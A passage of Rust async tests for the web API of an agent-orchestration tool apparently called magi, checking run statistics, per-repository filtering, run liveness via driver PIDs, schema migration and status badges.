18550 "the dashboard and /api/health must never disagree about how many \
18551 runs could not be read"
18552 );
18553 }
18554
18555 #[tokio::test]
18556 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18557 let f = Fixture::start().await;
18558 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18559 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18560 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18561
18562 let totals = &f.get("/api/stats").await.json()["totals"];
18563 assert_eq!(totals["runs"], 3);
18564 assert_eq!(totals["merged"], 1);
18565 assert_eq!(totals["stalled"], 1);
18566 assert_eq!(totals["in_progress"], 1);
18567 assert_eq!(totals["blocked"], 0);
18570 assert_eq!(totals["ready"], 0);
18571 }
18572
18573 #[tokio::test]
18574 async fn stats_advisors_report_proposals_and_reflection() {
18575 use crate::advise::{Advice, AdvisorRecord, Reflection};
18576 use crate::verdict::Proposal;
18577
18578 let f = Fixture::start().await;
18579 let mut state = RunState::new(
18580 PathBuf::from("/repo/magi"),
18581 "main".to_owned(),
18582 "0123456789abcdef".to_owned(),
18583 "task".to_owned(),
18584 Config::default(),
18585 );
18586 state.id = "20260902-140501-a".to_owned();
18587 state.status = RunStatus::Merged;
18588 state.advice = Some(Advice {
18589 records: vec![
18590 AdvisorRecord {
18591 seat: "advisor-1".to_owned(),
18592 agent: "alpha".to_owned(),
18593 proposal: Some(Proposal {
18594 approach: "do it".to_owned(),
18595 key_tradeoff: "speed over memory".to_owned(),
18596 risks: Vec::new(),
18597 touches: Vec::new(),
18598 why_not_naive: "breaks under load".to_owned(),
18599 }),
18600 error: None,
18601 duration_ms: 0,
18602 reflection: Reflection::Strong,
18603 },
18604 AdvisorRecord {
18605 seat: "advisor-2".to_owned(),
18606 agent: "alpha".to_owned(),
18607 proposal: None,
18608 error: Some("timed out".to_owned()),
18609 duration_ms: 0,
18610 reflection: Reflection::Absent,
18611 },
18612 ],
18613 synthesis: Some("blended brief".to_owned()),
18614 });
18615 let dir = f.runs().join(&state.id);
18616 std::fs::create_dir_all(&dir).expect("run dir");
18617 std::fs::write(
18618 dir.join("run.json"),
18619 serde_json::to_string_pretty(&state).expect("serialize run"),
18620 )
18621 .expect("write run.json");
18622
18623 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18625 let alpha = advisors
18626 .as_array()
18627 .expect("an array")
18628 .iter()
18629 .find(|a| a["agent"] == "alpha")
18630 .expect("alpha row");
18631 assert_eq!(alpha["seated"], 2);
18632 assert_eq!(alpha["proposed"], 1);
18633 assert_eq!(alpha["absent"], 1);
18634 assert_eq!(alpha["strong"], 1);
18635 assert_eq!(alpha["faint"], 0);
18636 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18637 }
18638
18639 #[tokio::test]
18640 async fn stats_hides_agents_outside_the_roster_unless_all() {
18641 use crate::run::Candidate;
18642 let repo = TempDir::new().expect("repo dir");
18643 std::fs::write(
18644 repo.path().join("magi.toml"),
18645 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18646 )
18647 .expect("magi.toml");
18648 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18649 let mut state = RunState::new(
18650 PathBuf::from("/repo/magi"),
18651 "main".to_owned(),
18652 "0123456789abcdef".to_owned(),
18653 "task".to_owned(),
18654 Config::default(),
18655 );
18656 state.id = "20260902-140501-a".to_owned();
18657 state.status = RunStatus::Merged;
18658 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18659 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18660 "index": 0, "label": label.to_string(), "agent": agent,
18661 "branch": "b", "worktree": "/w",
18662 }))
18663 .expect("candidate");
18664 c.label = label;
18665 state.candidates.push(c);
18666 }
18667 let dir = f.runs().join(&state.id);
18668 std::fs::create_dir_all(&dir).expect("run dir");
18669 std::fs::write(
18670 dir.join("run.json"),
18671 serde_json::to_string_pretty(&state).expect("serialize run"),
18672 )
18673 .expect("write run.json");
18674
18675 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18676 v["agents"]
18677 .as_array()
18678 .expect("array")
18679 .iter()
18680 .map(|a| a["agent"].as_str().unwrap().to_owned())
18681 .collect()
18682 };
18683 let hidden = f.get("/api/stats").await.json();
18684 assert_eq!(agents_of(&hidden), ["keep"]);
18685 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18686 assert_eq!(hidden["totals"]["runs"], 1);
18687
18688 let all = f.get("/api/stats?all=true").await.json();
18689 assert_eq!(agents_of(&all).len(), 2);
18690 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18691 let keep_agent = all["agents"]
18693 .as_array()
18694 .unwrap()
18695 .iter()
18696 .find(|a| a["agent"] == "keep")
18697 .unwrap();
18698 assert_eq!(keep_agent["competitive_entered"], 1);
18699 assert_eq!(keep_agent["competitive_wins"], 0);
18700 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18701 assert_eq!(keep_agent["solo_entered"], 0);
18702 assert_eq!(keep_agent["solo_adopted"], 0);
18703 assert!(keep_agent["solo_adoption_rate"].is_null());
18704 }
18705
18706 #[tokio::test]
18707 async fn stats_release_bumps_split_clean_from_attention() {
18708 use crate::run::ReleaseBump;
18709
18710 let f = Fixture::start().await;
18711
18712 let mut clean = RunState::new(
18713 PathBuf::from("/repo/magi"),
18714 "main".to_owned(),
18715 "0123456789abcdef".to_owned(),
18716 "task".to_owned(),
18717 Config::default(),
18718 );
18719 clean.id = "20260902-140501-a".to_owned();
18720 clean.status = RunStatus::Merged;
18721 clean.release_bump = Some(ReleaseBump {
18722 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18723 version: Some("1.0.0".to_owned()),
18724 automerge_enabled: true,
18725 merged_directly: false,
18726 local: false,
18727 release: None,
18728 problem: None,
18729 action_required: None,
18730 skipped: None,
18731 });
18732
18733 let mut blocked = RunState::new(
18734 PathBuf::from("/repo/magi"),
18735 "main".to_owned(),
18736 "0123456789abcdef".to_owned(),
18737 "task".to_owned(),
18738 Config::default(),
18739 );
18740 blocked.id = "20260902-140502-b".to_owned();
18741 blocked.status = RunStatus::Merged;
18742 blocked.release_bump = Some(ReleaseBump {
18743 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18744 version: Some("1.0.1".to_owned()),
18745 automerge_enabled: false,
18746 merged_directly: false,
18747 local: false,
18748 release: None,
18749 problem: Some("checks red".to_owned()),
18750 action_required: Some("look at the PR".to_owned()),
18751 skipped: None,
18752 });
18753
18754 for state in [&clean, &blocked] {
18755 let dir = f.runs().join(&state.id);
18756 std::fs::create_dir_all(&dir).expect("run dir");
18757 std::fs::write(
18758 dir.join("run.json"),
18759 serde_json::to_string_pretty(state).expect("serialize run"),
18760 )
18761 .expect("write run.json");
18762 }
18763
18764 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18765 assert_eq!(bumps["merged"], 2);
18766 assert_eq!(bumps["recorded"], 2);
18767 assert_eq!(bumps["pr_opened"], 2);
18768 assert_eq!(bumps["automerge_enabled"], 1);
18769 assert_eq!(bumps["needs_attention"], 1);
18770 assert_eq!(bumps["clean"], 1);
18771 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18772 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18773 }
18774
18775 #[tokio::test]
18776 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18777 let f = Fixture::start().await;
18778 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18779
18780 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18781 assert_eq!(bumps["merged"], 1);
18782 assert_eq!(bumps["recorded"], 0);
18783 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18786 assert_eq!(bumps["automerge_rate"], Value::Null);
18789 assert_eq!(bumps["attention_rate"], Value::Null);
18790 }
18791
18792 #[tokio::test]
18793 async fn stats_queue_counts_come_from_the_live_queue() {
18794 let f = Fixture::start().await;
18795 let q = f.queue();
18796 let mut queued = Task::new(
18797 "queued task".to_owned(),
18798 "do it".to_owned(),
18799 PathBuf::from("/repo"),
18800 Source::Human,
18801 );
18802 q.put(&mut queued).expect("put queued");
18803 let mut held = Task::new(
18804 "held task".to_owned(),
18805 "do it later".to_owned(),
18806 PathBuf::from("/repo"),
18807 Source::Human,
18808 );
18809 held.hold_machine(Some("out of attempts".to_owned()));
18810 q.put(&mut held).expect("put held");
18811
18812 let queue = f.get("/api/stats").await.json()["queue"].clone();
18813 assert_eq!(queue["queued"], 1);
18814 assert_eq!(queue["held"], 1);
18815 assert_eq!(queue["running"], 0);
18816 assert_eq!(queue["done"], 0);
18817 assert_eq!(queue["failed"], 0);
18818 assert_eq!(queue["blocked"], 0);
18819 }
18820
18821 #[tokio::test]
18822 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18823 let f = Fixture::start().await;
18824 let stats = f.get("/api/stats").await;
18825 assert_eq!(stats.status, 200);
18826 assert_eq!(stats.json()["totals"]["runs"], 0);
18827 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18828 assert_eq!(stats.json()["runs_unreadable"], 0);
18829 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18830 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18831 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18832 assert_eq!(stats.json()["repo"], Value::Null);
18833 }
18834
18835 #[tokio::test]
18836 async fn stats_lists_every_repository_with_runs_recorded() {
18837 let f = Fixture::start().await;
18838 write_run_repo(
18839 &f.runs(),
18840 "20260902-140501-a",
18841 RunStatus::Merged,
18842 "/repos/a",
18843 );
18844 write_run_repo(
18845 &f.runs(),
18846 "20260902-140502-b",
18847 RunStatus::Merged,
18848 "/repos/a",
18849 );
18850 write_run_repo(
18851 &f.runs(),
18852 "20260902-140503-c",
18853 RunStatus::Blocked,
18854 "/repos/b",
18855 );
18856
18857 let stats = f.get("/api/stats").await;
18858 assert_eq!(stats.status, 200);
18859 assert_eq!(stats.json()["totals"]["runs"], 3);
18861 assert_eq!(stats.json()["repo"], Value::Null);
18862
18863 let repos = stats.json()["repos"].clone();
18864 let repos = repos.as_array().unwrap();
18865 assert_eq!(repos.len(), 2);
18866 assert_eq!(repos[0]["repo"], "/repos/a");
18868 assert_eq!(repos[0]["name"], "a");
18869 assert_eq!(repos[0]["runs"], 2);
18870 assert_eq!(repos[1]["repo"], "/repos/b");
18871 assert_eq!(repos[1]["runs"], 1);
18872 }
18873
18874 #[tokio::test]
18875 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18876 let f = Fixture::start().await;
18877 write_run_repo(
18878 &f.runs(),
18879 "20260902-140501-a",
18880 RunStatus::Merged,
18881 "/repos/a",
18882 );
18883 write_run_repo(
18884 &f.runs(),
18885 "20260902-140502-b",
18886 RunStatus::Blocked,
18887 "/repos/b",
18888 );
18889
18890 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18891 assert_eq!(stats.status, 200);
18892 assert_eq!(stats.json()["totals"]["runs"], 1);
18893 assert_eq!(stats.json()["totals"]["merged"], 1);
18894 assert_eq!(stats.json()["repo"], "/repos/a");
18895 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18898 assert_eq!(stats.json()["runs_unreadable"], 0);
18901 }
18902
18903 #[tokio::test]
18904 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18905 let f = Fixture::start().await;
18906 write_run_repo(
18907 &f.runs(),
18908 "20260902-140501-a",
18909 RunStatus::Merged,
18910 "/repos/a",
18911 );
18912 write_run_repo(
18913 &f.runs(),
18914 "20260902-140502-b",
18915 RunStatus::Merged,
18916 "/repos/b",
18917 );
18918
18919 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18920 let json = f.get(uri).await.json();
18921 let daily = json["daily"].as_array().expect("daily is an array");
18922 assert_eq!(daily.len(), 30);
18923 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18924 let mut sorted = dates.clone();
18925 sorted.sort();
18926 assert_eq!(dates, sorted);
18927 for d in daily {
18928 assert_eq!(
18929 d["merged"].as_u64().unwrap()
18930 + d["ready"].as_u64().unwrap()
18931 + d["other"].as_u64().unwrap(),
18932 d["runs"].as_u64().unwrap()
18933 );
18934 }
18935 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18936 }
18937 }
18938
18939 #[tokio::test]
18940 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18941 let f = Fixture::start().await;
18942 write_run_repo(
18943 &f.runs(),
18944 "20260902-140501-a",
18945 RunStatus::Merged,
18946 "/repos/a",
18947 );
18948
18949 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18950 assert_eq!(stats.status, 404);
18951 }
18952
18953 #[tokio::test]
18954 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18955 let f = Fixture::start().await;
18956 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18957
18958 let summary = f.get("/api/runs").await.json();
18959 let row = &summary[0];
18960 assert_eq!(row["short"], "a1b2");
18961 assert_eq!(row["status"], "ready");
18962 assert_eq!(row["done"], true);
18963 assert_eq!(row["title"], "Add a web UI");
18964 assert_eq!(row["repo_name"], "magi");
18965 assert_eq!(row["judges"], 3);
18966 assert_eq!(row["winner"], Value::Null);
18967 assert_eq!(row["reviews"], 0);
18968
18969 let detail = f.get("/api/runs/a1b2").await;
18972 assert_eq!(detail.status, 200);
18973 assert_eq!(detail.json()["base_branch"], "main");
18974 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18975 }
18976
18977 #[tokio::test]
18985 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18986 let f = Fixture::start().await;
18987
18988 let mut none_run = RunState::new(
18989 PathBuf::from("/repo/magi"),
18990 "main".to_owned(),
18991 "0123456789abcdef".to_owned(),
18992 "Add a web UI".to_owned(),
18993 Config::default(),
18994 );
18995 none_run.id = "20260902-140503-none".to_owned();
18996 none_run.status = RunStatus::Ready;
18997 none_run.merge = Some(crate::run::MergeOutcome {
18998 mode: crate::config::MergeMode::None,
18999 ok: true,
19000 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19001 empty: false,
19002 });
19003 write_state(&f.runs(), &none_run);
19004
19005 let mut pr_run = RunState::new(
19006 PathBuf::from("/repo/magi"),
19007 "main".to_owned(),
19008 "0123456789abcdef".to_owned(),
19009 "Add a web UI".to_owned(),
19010 Config::default(),
19011 );
19012 pr_run.id = "20260902-140504-prcl".to_owned();
19013 pr_run.status = RunStatus::Ready;
19014 pr_run.merge = Some(crate::run::MergeOutcome {
19015 mode: crate::config::MergeMode::Pr,
19016 ok: false,
19017 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19018 empty: false,
19019 });
19020 write_state(&f.runs(), &pr_run);
19021
19022 let summary = f.get("/api/runs").await.json();
19023 let rows: std::collections::HashMap<&str, &Value> = summary
19024 .as_array()
19025 .expect("an array")
19026 .iter()
19027 .map(|r| (r["id"].as_str().expect("an id"), r))
19028 .collect();
19029 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19030 assert_eq!(
19031 rows[none_run.id.as_str()]["unmerged_by_design"],
19032 true,
19033 "a mode-none Ready must be flagged in the list"
19034 );
19035 assert_eq!(
19036 rows[pr_run.id.as_str()]["unmerged_by_design"],
19037 false,
19038 "a Ready reached by a closed pull request is a different case"
19039 );
19040
19041 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19042 assert_eq!(none_detail["status"], "ready");
19043 assert_eq!(none_detail["unmerged_by_design"], true);
19044
19045 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19046 assert_eq!(pr_detail["unmerged_by_design"], false);
19047 }
19048
19049 #[tokio::test]
19054 async fn run_core_survives_unavailable_related_stores() {
19055 let home = TempDir::new().unwrap();
19056 let ui = delta_test_ui(home.path());
19057 let state = RunState::new(
19058 PathBuf::from("/repo/magi"),
19059 "main".into(),
19060 "0123456789abcdef".into(),
19061 "Useful core instructions".into(),
19062 Config::default(),
19063 );
19064 let dir = ui.runs.join(&state.id);
19065 std::fs::create_dir_all(&dir).unwrap();
19066 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19067 std::fs::write(ui.questions.root(), "unavailable").unwrap();
19068 std::fs::write(ui.queue.root(), "unavailable").unwrap();
19069 let core = run_core(State(ui.clone()), Path(state.id.clone()))
19070 .await
19071 .unwrap()
19072 .0;
19073 assert_eq!(core.state.instruction, state.instruction);
19074 assert_eq!(core.state.updated_at, state.updated_at);
19075 assert!(core.task.is_none());
19076 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19077 }
19078
19079 #[tokio::test]
19080 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19081 let f = Fixture::start().await;
19082 let id = "20260902-140502-bbbb";
19086 let mut state = RunState::new(
19087 PathBuf::from("/repo/magi"),
19088 "main".to_owned(),
19089 "0123456789abcdef".to_owned(),
19090 "Add a web UI".to_owned(),
19091 Config::default(),
19092 );
19093 state.id = id.to_owned();
19094 state.status = RunStatus::Judging;
19095 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19096 let dir = f.runs().join(id);
19097 std::fs::create_dir_all(&dir).expect("run dir");
19098 std::fs::write(
19099 dir.join("run.json"),
19100 serde_json::to_string_pretty(&state).expect("serialize run"),
19101 )
19102 .expect("write run.json");
19103
19104 let cold = f.get(&format!("/api/runs/{id}")).await.json();
19110 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19111 assert_eq!(cold["live"], "unknown", "{cold}");
19112
19113 write_daemon(f.home.path(), Timestamp::now());
19116 let warm = f.get(&format!("/api/runs/{id}")).await.json();
19117 assert_eq!(warm["live"], "live", "{warm}");
19118 }
19119
19120 #[test]
19121 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19122 let home = tempfile::tempdir().expect("temp home");
19123 let runs = home.path().join("runs");
19124 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19125 let mut state = RunState::new(
19126 PathBuf::from("/repo/magi"),
19127 "main".to_owned(),
19128 "0123456789abcdef".to_owned(),
19129 "Generated review context, not authored task criteria".to_owned(),
19130 Config::default(),
19131 );
19132 state.origin = origin;
19133 state.status = RunStatus::Blocked;
19134 state.driver_exited = false;
19136 state.gate_ran = true;
19137 let expected = serde_json::to_value(&state).expect("serialize current state");
19138 let mut legacy = expected.clone();
19139 legacy["schema"] = serde_json::json!(13);
19140 legacy.as_object_mut().unwrap().remove("task_instruction");
19141 let dir = runs.join(&state.id);
19142 std::fs::create_dir_all(&dir).expect("run dir");
19143 let path = dir.join("run.json");
19144 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19145 std::fs::write(&path, &body).expect("write legacy run");
19146
19147 for loaded in [
19148 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19149 read_run(&runs, &state.id).expect("web migration"),
19150 ] {
19151 assert_eq!(loaded.schema, crate::run::SCHEMA);
19152 assert!(loaded.task_instruction.is_none());
19153 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19154 }
19155 assert_eq!(runs_unreadable(&runs), 0);
19156 assert_eq!(std::fs::read(&path).unwrap(), body);
19157 }
19158 }
19159
19160 #[tokio::test]
19163 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19164 let f = Fixture::start().await;
19165 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19166 let mut state = RunState::new(
19167 PathBuf::from("/repo/magi"),
19168 "main".to_owned(),
19169 "0123456789abcdef".to_owned(),
19170 "Add a web UI".to_owned(),
19171 Config::default(),
19172 );
19173 state.id = id.to_owned();
19174 state.origin = origin;
19175 let mut value = serde_json::to_value(&state).expect("serialize run");
19176 if let Some(schema) = schema {
19177 value["schema"] = serde_json::json!(schema);
19178 value.as_object_mut().unwrap().remove("origin");
19179 }
19180 let dir = f.runs().join(id);
19181 std::fs::create_dir_all(&dir).expect("run dir");
19182 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19183 };
19184 write(
19185 "20260930-092817-ec34",
19186 Some(crate::run::Origin::from_agent_env(
19187 Some(("4a7b".to_owned(), "chat".to_owned())),
19188 None,
19189 )),
19190 None,
19191 );
19192 write("20260930-092817-0ld1", None, Some(12));
19193
19194 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19195 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19196 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19197
19198 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19199 assert_eq!(
19200 old["origin_label"], "origin unknown (started before origins were recorded)",
19201 "{old}"
19202 );
19203 assert!(old["origin"].is_null(), "{old}");
19204
19205 let list = f.get("/api/runs").await.json();
19206 let labels: Vec<_> = list
19207 .as_array()
19208 .unwrap()
19209 .iter()
19210 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19211 .collect();
19212 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19213 }
19214
19215 #[tokio::test]
19222 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19223 let f = Fixture::start().await;
19224 let id = "20260922-090000-cccc";
19225 let mut state = RunState::new(
19226 PathBuf::from("/repo/magi"),
19227 "main".to_owned(),
19228 "0123456789abcdef".to_owned(),
19229 "Review only".to_owned(),
19230 Config::default(),
19231 );
19232 state.id = id.to_owned();
19233 state.status = RunStatus::Reviewing;
19234 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19235 state.driver_pid = Some(std::process::id());
19241 state.driver_started_at = Some(
19242 crate::proc::process_started_at(std::process::id())
19243 .expect("this test process's own start time must be queryable"),
19244 );
19245 let dir = f.runs().join(id);
19246 std::fs::create_dir_all(&dir).expect("run dir");
19247 std::fs::write(
19248 dir.join("run.json"),
19249 serde_json::to_string_pretty(&state).expect("serialize run"),
19250 )
19251 .expect("write run.json");
19252
19253 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19254 assert_eq!(detail["live"], "live", "{detail}");
19255 }
19256
19257 #[tokio::test]
19263 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19264 let f = Fixture::start().await;
19265 let id = "20260922-090100-dddd";
19266 let mut state = RunState::new(
19267 PathBuf::from("/repo/magi"),
19268 "main".to_owned(),
19269 "0123456789abcdef".to_owned(),
19270 "Review only".to_owned(),
19271 Config::default(),
19272 );
19273 state.id = id.to_owned();
19274 state.status = RunStatus::Reviewing;
19275 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19276 state.driver_pid = Some(std::process::id());
19281 state.driver_started_at = Some("1".to_owned());
19282 let dir = f.runs().join(id);
19283 std::fs::create_dir_all(&dir).expect("run dir");
19284 std::fs::write(
19285 dir.join("run.json"),
19286 serde_json::to_string_pretty(&state).expect("serialize run"),
19287 )
19288 .expect("write run.json");
19289
19290 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19291 assert_eq!(detail["live"], "dead", "{detail}");
19292 }
19293
19294 #[test]
19298 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19299 let mk = |id: &str, pid: Option<u32>| {
19300 let mut s = RunState::new(
19301 PathBuf::from("/repo/magi"),
19302 "main".to_owned(),
19303 "0123456789abcdef".to_owned(),
19304 "Add a web UI".to_owned(),
19305 Config::default(),
19306 );
19307 s.id = id.to_owned();
19308 s.driver_pid = pid;
19309 s.driver_started_at = Some("1790000000".to_owned());
19310 s
19311 };
19312 let states = vec![
19313 mk("20260902-140502-aaaa", Some(77)),
19314 mk("20260902-140502-bbbb", Some(77)),
19315 mk("20260902-140502-cccc", Some(77)),
19316 mk("20260902-140502-dddd", None),
19317 ];
19318 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19319 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19320 let sup: HashMap<String, String> = [(
19321 "20260902-140502-aaaa".to_owned(),
19322 "20260902-140502-cccc".to_owned(),
19323 )]
19324 .into();
19325
19326 let status_calls = std::cell::Cell::new(0);
19327 let identity_calls = std::cell::Cell::new(0);
19328 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19329 |_| {
19330 status_calls.set(status_calls.get() + 1);
19331 Some(true)
19332 },
19333 |_| {
19334 identity_calls.set(identity_calls.get() + 1);
19335 Some("1790000000".to_owned())
19336 },
19337 ));
19338 let rows = summarize(
19339 states,
19340 &open,
19341 &claimed,
19342 &sup,
19343 |p| probe.borrow_mut().status(p),
19344 |p| probe.borrow_mut().started_at(p),
19345 );
19346
19347 assert_eq!(status_calls.get(), 1, "one pid, one status query");
19348 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19349 assert_eq!(rows.len(), 4);
19350 assert!(!rows[0].waiting && rows[1].waiting);
19351 assert_eq!(rows[0].live, crate::run::Liveness::Live);
19352 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19353 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19354 assert_eq!(rows[1].superseded_by, None);
19355 }
19356
19357 #[test]
19358 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19359 let mut state = RunState::new(
19360 PathBuf::from("/repo/magi"),
19361 "main".to_owned(),
19362 "0123456789abcdef".to_owned(),
19363 "Review only".to_owned(),
19364 Config::default(),
19365 );
19366 state.id = "20260922-090200-dead".to_owned();
19367 state.status = RunStatus::Reviewing;
19368 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19369 .expect("serialize list row");
19370 assert_eq!(row["status"], "reviewing");
19371 assert_eq!(row["display_status"], "stale");
19372 assert_eq!(row["live"], "dead", "{row}");
19373 assert!(!row["done"].as_bool().unwrap());
19374 }
19375
19376 #[test]
19377 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19378 use crate::run::Liveness::{Dead, Live, Unknown};
19379 let mut state = RunState::new(
19380 PathBuf::from("/repo/magi"),
19381 "main".to_owned(),
19382 "abc".to_owned(),
19383 "Review only".to_owned(),
19384 Config::default(),
19385 );
19386 for (status, parked, node, waiting, live, expected) in [
19387 (
19388 RunStatus::Judging,
19389 true,
19390 "github-text",
19391 false,
19392 Dead,
19393 "parked",
19394 ),
19395 (RunStatus::Judging, false, "park", false, Dead, "stale"),
19396 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19397 (
19398 RunStatus::Judging,
19399 true,
19400 "github-text",
19401 true,
19402 Dead,
19403 "waiting",
19404 ),
19405 (
19406 RunStatus::Judging,
19407 false,
19408 "github-text",
19409 true,
19410 Dead,
19411 "waiting",
19412 ),
19413 (
19414 RunStatus::Judging,
19415 false,
19416 "github-text",
19417 false,
19418 Dead,
19419 "stale",
19420 ),
19421 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19422 (RunStatus::Judging, true, "park", false, Live, "judging"),
19423 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19424 (RunStatus::Merged, true, "park", false, Dead, "merged"),
19425 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19426 (
19427 RunStatus::Blocked,
19428 true,
19429 "github-text",
19430 true,
19431 Dead,
19432 "waiting",
19433 ),
19434 ] {
19435 state.status = status;
19436 state.parked = parked;
19437 state.events.clear();
19438 state.event(
19439 "park",
19440 "an earlier park does not determine the latest state",
19441 );
19442 state.event(node, "message is not used for classification");
19443 let summary = RunSummary::of(&state, waiting, live);
19444 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19445 assert_eq!(
19446 summary.display_status, expected,
19447 "{status:?}/{node}/{live:?}"
19448 );
19449 assert_eq!(detail.display_status, summary.display_status);
19450 assert_eq!(detail.waiting, summary.waiting);
19451 }
19452 state.status = RunStatus::Judging;
19453 state.parked = false;
19454 state.events.clear();
19455 assert_eq!(run_display_status(&state, false, Dead), "stale");
19456 }
19457
19458 #[test]
19459 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19460 use crate::run::Liveness::{Dead, Live, Unknown};
19461 let mut state = RunState::new(
19462 PathBuf::from("/repo/magi"),
19463 "main".to_owned(),
19464 "abc".to_owned(),
19465 "Badge".to_owned(),
19466 Config::default(),
19467 );
19468 for (status, waiting, live, superseded, expected) in [
19469 (RunStatus::Gating, false, Dead, false, "stale"),
19470 (RunStatus::Gating, false, Dead, true, "superseded"),
19471 (RunStatus::Gating, false, Unknown, true, "superseded"),
19472 (RunStatus::Gating, true, Dead, true, "superseded"),
19473 (RunStatus::Gating, true, Dead, false, "waiting"),
19474 (RunStatus::Gating, false, Unknown, false, "gating"),
19475 (RunStatus::Gating, false, Live, true, "gating"),
19476 (RunStatus::Gating, true, Live, true, "waiting"),
19477 (RunStatus::Merged, false, Dead, true, "merged"),
19478 (RunStatus::Blocked, false, Dead, true, "blocked"),
19479 ] {
19480 state.status = status;
19481 let display = run_display_status(&state, waiting, live);
19482 assert_eq!(
19483 run_badge_status(&state, &display, live, superseded),
19484 expected,
19485 "{status:?}/{live:?}/superseded={superseded}"
19486 );
19487 }
19488 }
19489
19490 #[test]
19491 fn summarize_and_detail_expose_badge_status() {
19492 use crate::run::Liveness::Dead;
19493 let mut state = RunState::new(
19494 PathBuf::from("/repo/magi"),
19495 "main".to_owned(),
19496 "abc".to_owned(),
19497 "Badge".to_owned(),
19498 Config::default(),
19499 );
19500 state.status = RunStatus::Gating;
19501 let none = HashSet::new();
19502 let id = state.id.clone();
19503 let mut by = HashMap::new();
19504 let rows = summarize(
19505 [state.clone()],
19506 &none,
19507 &none,
19508 &by,
19509 |_| Some(false),
19510 |_| None,
19511 );
